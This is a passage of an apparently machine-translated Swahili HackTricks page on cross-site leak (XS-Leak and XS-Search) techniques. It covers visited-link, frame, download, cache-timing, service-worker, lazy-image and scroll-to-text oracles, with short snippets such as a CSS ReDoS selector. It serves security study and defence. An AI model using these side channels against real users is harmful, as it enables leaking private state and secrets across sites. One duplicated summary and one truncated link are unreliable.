Licha ya vizuizi hivi, inawezekana kutambua hali ya kiungo kilichopitiwa kwa njia isiyo ya moja kwa moja. Mbinu moja inahusisha kudanganya mtumiaji kuingiliana na eneo lililoathiriwa na CSS, hasa kutumia mali ya mix-blend-mode
. Mali hii inaruhusu kuchanganya vipengele na mandharinyuma yake, ikifunua hali iliyopitiwa kulingana na uingiliano wa mtumiaji.
Zaidi ya hayo, ugunduzi unaweza kufikiwa bila uingiliano wa mtumiaji kwa kutumia nyakati za uchoraji wa viungo. Kwa kuwa vivinjari vinaweza kuchora viungo vilivyopitiwa na visivyopitiwa kwa njia tofauti, hii inaweza kuleta tofauti ya wakati inayoweza kupimika katika uchoraji. Uthibitisho wa dhana (PoC) ulitajwa katika ripoti ya kosa la Chromium, ukionyesha mbinu hii kwa kutumia viungo vingi kuongeza tofauti ya wakati, hivyo kufanya hali iliyopitiwa iweze kutambulika kupitia uchambuzi wa wakati.
Kwa maelezo zaidi kuhusu mali hizi na mbinu, tembelea kurasa zao za nyaraka:
:visited
: Nyaraka za MDNgetComputedStyle()
: Nyaraka za MDNmix-blend-mode
: Nyaraka za MDN
Kuvuja kwa X-Frame ya Documenti ya Yaliyomo
- Njia za Kuingiza: Fremu
- Tofauti Inayoweza Kugundulika: Vichwa vya habari
- Maelezo Zaidi: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- Muhtasari: Katika Google Chrome, ukurasa unaonyesha kosa maalum unapo zuiliwa kuingizwa kwenye tovuti ya asili tofauti kutokana na vizuizi vya X-Frame-Options.
- Mfano wa Kanuni: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
Katika Chrome, ikiwa ukurasa una kichwa cha X-Frame-Options
kilichowekwa kama "deny" au "same-origin" unazingizwa kama kitu, ukurasa wa kosa unaonekana. Chrome kwa kipekee hurudisha kitu cha hati tupu (badala ya null
) kwa mali ya contentDocument
ya kitu hiki, tofauti na iframes au vivinjari vingine. Wachomaji wanaweza kutumia hili kwa kugundua hati tupu, hivyo kufichua taarifa kuhusu hali ya mtumiaji, hasa ikiwa waendelezaji hawaweki kichwa cha X-Frame-Options kwa ufanisi, mara nyingi wakipuuza kurasa za kosa. Uelewa na matumizi thabiti ya vichwa vya usalama ni muhimu kuzuia kuvuja kama hizi.
Uchunguzi wa Upakuaji
- Njia za Kuingiza: Fremu, Pop-ups
- Tofauti Inayoweza Kugundulika: Vichwa vya habari
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- Muhtasari: Mshambuliaji anaweza kutofautisha upakuaji wa faili kwa kutumia iframes; upatikanaji endelevu wa iframe unaashiria upakuaji wa faili umefanikiwa.
- Mfano wa Kanuni: https://xsleaks.dev/docs/attacks/navigations/#download-bar
Kichwa cha Content-Disposition
, hasa Content-Disposition: attachment
, kinaagiza kivinjari kupakua maudhui badala ya kuyaonyesha moja kwa moja. Tabia hii inaweza kutumiwa kugundua ikiwa mtumiaji ana ufikio wa ukurasa unaosababisha upakuaji wa faili. Katika vivinjari vinavyotegemea Chromium, kuna njia kadhaa za kugundua tabia hii ya upakuaji:
- Ufuatiliaji wa Mstari wa Upakuaji:
- Wakati faili inapopakuliwa katika vivinjari vinavyotegemea Chromium, mstari wa upakuaji unaonekana chini ya dirisha la kivinjari.
- Kwa kufuatilia mabadiliko katika urefu wa dirisha, wachomaji wanaweza kudokeza kuonekana kwa mstari wa upakuaji, ikionyesha kwamba upakuaji umeanzishwa.
- Ufuatiliaji wa Navigesheni na Iframes:
- Wakati ukurasa unasababisha upakuaji wa faili kwa kutumia kichwa cha
Content-Disposition: attachment
, haisababishi tukio la navigesheni. - Kwa kupakia maudhui katika iframe na kufuatilia matukio ya navigesheni, inawezekana kuthibitisha ikiwa mwenendo wa maudhui unasababisha upakuaji wa faili (hakuna navigesheni) au la.
- Ufuatiliaji wa Navigesheni bila Iframes:
- Kama njia ya iframe, njia hii inahusisha kutumia
window.open
badala ya iframe. - Kwa kufuatilia matukio ya navigesheni katika dirisha lililofunguliwa hivi karibuni, inaweza kufichua ikiwa upakuaji wa faili ulisababishwa (hakuna navigesheni) au ikiwa maudhui yanaonyeshwa moja kwa moja (navigesheni inatokea).
Katika mazingira ambapo watumiaji walioingia tu wanaweza kusababisha upakuaji kama huo, njia hizi zinaweza kutumika kudokeza hali ya uthibitishaji wa mtumiaji kulingana na jibu la kivinjari kwa ombi la upakuaji.
Kuvuka Kache ya HTTP Iliyogawanywa
- Njia za Kuingiza: Pop-ups
- Tofauti Inayoweza Kugundulika: Utafiti
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- Muhtasari: Mshambuliaji anaweza kutofautisha upakuaji wa faili kwa kutumia iframes; upatikanaji endelevu wa iframe unaashiria upakuaji wa faili umefanikiwa.
- Mfano wa Kanuni: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (kutoka https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
{% hint style="warning" %}
Hii ndio sababu hii mbinu ni ya kuvutia: Chrome sasa ina ugawanyaji wa kache, na ufunguo wa kache ya ukurasa uliofunguliwa upya ni: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)
, lakini ikiwa ninafungua ukurasa wa ngrok na kutumia fetch ndani yake, ufunguo wa kache utakuwa: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)
, ufunguo wa kache ni tofauti, hivyo kache haiwezi kushirikiwa. Unaweza kupata maelezo zaidi hapa: Kupata usalama na faragha kwa kugawanya kache
(Maoni kutoka hapa)
{% endhint %}
Ikiwa tovuti mfano.com
inajumuisha rasilimali kutoka *.mfano.com/rasilimali
basi rasilimali hiyo itakuwa na ufunguo wa kuhifadhi sawa kama vile rasilimali ingelikuwa imeombwa moja kwa moja kupitia navigesheni ya kiwango cha juu. Hii ni kwa sababu ufunguo wa kuhifadhi unajumuisha eTLD+1 ya kiwango cha juu na fremu ya eTLD+1.
Kwa sababu ya ufikiaji wa haraka wa kache kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha mahali pa ukurasa na kufuta baada ya muda wa 20ms (kwa mfano). Ikiwa asili ilibadilishwa baada ya kusitisha, inamaanisha kwamba rasilimali ilihifadhiwa.
Au unaweza tu tuma ombi la fetch kwa ukurasa uliohifadhiwa na kupima muda unachukua.
Uelekezaji wa Kibinafsi
- Njia za Kuingiza: Fetch API
- Tofauti Inayoweza Kugundulika: Uelekezaji
- Maelezo Zaidi: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- Muhtasari: Inawezekana kugundua ikiwa jibu kwa ombi la fetch ni uelekezaji
- Mfano wa Kanuni:
Fetch na AbortController
- Njia za Kuingiza: Fetch API
- Tofauti Inayoweza Kugundulika: Utafiti
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- Muhtasari: Inawezekana kujaribu kupakia rasilimali na kufuta kabla haijapakiwa. Kulingana na ikiwa kosa linasababishwa, rasilimali ilihifadhiwa au la.
- Mfano wa Kanuni: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
Tumia fetch na setTimeout pamoja na AbortController kugundua ikiwa rasilimali imehifadhiwa na kufuta rasilimali fulani kutoka kwenye kache ya kivinjari. Zaidi ya hayo, mchakato unatokea bila kuhifadhi maudhui mapya.
Uchafuzi wa Script
- Njia za Kuingiza: Elementi za HTML (script)
- Tofauti Inayoweza Kugundulika: Yaliyomo kwenye Ukurasa
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- Muhtasari: Inawezekana kubadilisha kazi zilizoingizwa na kusoma hoja zao hata kutoka kwenye script ya asili (ambayo haiwezi kusomwa moja kwa moja), hii inaweza kuvuja taarifa muhimu.
- Mfano wa Kanuni: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Wafanyikazi wa Huduma
- Njia za Kuingiza: Pop-ups
- Tofauti Inayoweza Kugundulika: Yaliyomo kwenye Ukurasa
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Muhtasari: Pima muda wa utekelezaji wa wavuti kwa kutumia wafanyikazi wa huduma.
- Mfano wa Kanuni:
Katika hali iliyotolewa, mkaidi anachukua hatua ya kujiandikisha mfanyikazi wa huduma ndani ya moja ya uwanja wao, kwa usahihi "mkaidi.com". Kisha, mkaidi anaifungua dirisha jipya kwenye wavuti ya lengo kutoka kwenye hati kuu na kuagiza mfanyikazi wa huduma kuanza kipima muda. Wakati dirisha jipya linapoanza kupakia, mkaidi anaviga kumbukumbu iliyopatikana hatua ya awali kwenye ukurasa uliosimamiwa na mfanyikazi wa huduma.
Baada ya kupokea ombi lililoanzishwa hatua iliyotangulia, mfanyikazi wa huduma anajibu na msimbo wa hali wa 204 (Hakuna Yaliyomo), kufunga kwa ufanisi mchakato wa urambazaji. Wakati huu, mfanyikazi wa huduma huchukua kipimo kutoka kwenye kipima muda kilichoanzishwa awali katika hatua ya pili. Kipimo hiki kinaathiriwa na urefu wa JavaScript unaosababisha kucheleweshwa katika mchakato wa urambazaji.
{% hint style="warning" %} Katika utekelezaji wa muda inawezekana kufuta faktari za mtandao ili kupata vipimo sahihi zaidi. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia. {% endhint %}
Uchukuaji wa Muda wa Fetch
- Njia za Kuingiza: Fetch API
- Tofauti Inayoweza Kugundulika: Muda (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Msimbo wa Hali)
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Muhtasari: Tumia performance.now() kupima muda unaochukua kufanya ombi. Vitoa vingine vya saa vinaweza kutumika.
- Mfano wa Kanuni: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Uchukuaji wa Muda kati ya Madirisha
- Njia za Kuingiza: Pop-ups
- Tofauti Inayoweza Kugundulika: Muda (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Msimbo wa Hali)
- Maelezo Zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Muhtasari: tumia performance.now() kupima muda unaochukua kufanya ombi kwa kutumia
window.open
. Vitoa vingine vya saa vinaweza kutumika. - Mfano wa Kanuni: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Tumia Trickest kujenga na kutumia taratibu za kiotomatiki zinazotumia zana za jamii za juu kabisa duniani.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
Kwa Kutumia HTML au Kuingiza Upya
Hapa unaweza kupata njia za kuchukua taarifa kutoka kwa HTML ya asili kwa kuingiza yaliyomo kwenye HTML. Njia hizi ni muhimu katika hali ambapo kwa sababu yoyote unaweza kuingiza HTML lakini huwezi kuingiza msimbo wa JS.
Alama Isiyotegemewa
{% content-ref url="../dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}
Upakiaji wa Picha kwa Uvivu
Ikiwa unahitaji kuchukua yaliyomo na unaweza kuongeza HTML kabla ya siri unapaswa kuangalia njia za kawaida za alama isiyotegemewa.
Hata hivyo, ikiwa kwa sababu yoyote LAZIMA ufanye hivyo herufi kwa herufi (labda mawasiliano ni kupitia hit ya cache) unaweza kutumia hila hii.
Picha katika HTML ina sifa ya "upakiaji" ambayo thamani yake inaweza kuwa "uvivu". Katika kesi hiyo, picha itapakia wakati inapoonekana na sio wakati ukurasa unapakia:
<img src=/something loading=lazy >
Kwa hivyo, unachoweza kufanya ni kuongeza herufi nyingi za taka (Kwa mfano maelfu ya "W") ili kujaza ukurasa wa wavuti kabla ya siri au kuongeza kitu kama <br><canvas height="1850px"></canvas><br>.
Kisha kama kwa mfano uchomaji wetu unaonekana kabla ya bendera, picha itakuwa imepakiwa, lakini ikiwa inaonekana baada ya bendera, bendera + taka itazuia isipakie (utahitaji kucheza na kiasi gani cha taka kuweka). Hii ndio ilifanyika katika hii andishi.
Chaguo lingine lingekuwa kutumia scroll-to-text-fragment ikiwa inaruhusiwa:
Scroll-to-text-fragment
Walakini, unaweza kufanya bot ufikie ukurasa na kitu kama
#:~:text=SECR
Kwa hivyo ukurasa wa wavuti utakuwa kama: https://victim.com/post.html#:~:text=SECR
Ambapo post.html inaleta herufi za upande wa mshambuliaji na picha ya mzigo wa uvivu kisha siri ya bot inaongezwa.
Kile maandishi haya yatafanya ni kufanya boti kupata ufikiaji wa maandishi yoyote kwenye ukurasa ambao una maandishi SECR
. Kwa kuwa maandishi hayo ni siri na iko chini ya picha, picha itapakia tu ikiwa siri iliyoguiliwa ni sahihi. Kwa hivyo hapo unayo orakili yako ya kuchukua siri herufi kwa herufi.
Mfano wa nambari ya kudanganya hii: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Wakati wa Kupakia Picha kwa Uvivu
Ikiwa si rahisi kupakia picha ya nje ambayo inaweza kuashiria mshambuliaji kwamba picha imepakia, chaguo lingine litakuwa kujaribu kuguess herufi mara kadhaa na kupima hilo. Ikiwa picha imepakia maombi yote yangechukua muda mrefu kuliko ikiwa picha haipakii. Hii ndio iliyotumiwa katika ufumbuzi wa andiko hili imefupishwa hapa:
{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}
ReDoS
{% content-ref url="../regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}
CSS ReDoS
Ikiwa jQuery(location.hash)
inatumika, ni rahisi kugundua kupitia wakati ikiwa baadhi ya maudhui ya HTML yapo, hii ni kwa sababu ikiwa chaguzi main[id='site-main']
hazilingani, haitahitaji kuangalia sehemu nyingine ya chaguzi:
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
Uingizaji wa CSS
{% content-ref url="css-injection/" %} Uingizaji wa CSS {% endcontent-ref %}
Ulinzi
Kuna kupunguza hatari zilizopendekezwa katika https://xsinator.com/paper.pdf pia katika kila sehemu ya wiki https://xsleaks.dev/. Angalia hapo kwa maelezo zaidi kuhusu jinsi ya kulinda dhidi ya mbinu hizi.
Marejeo
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Tumia Trickest kujenga na kutumia workflows kwa urahisi zinazotumia zana za jamii za juu zaidi duniani.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}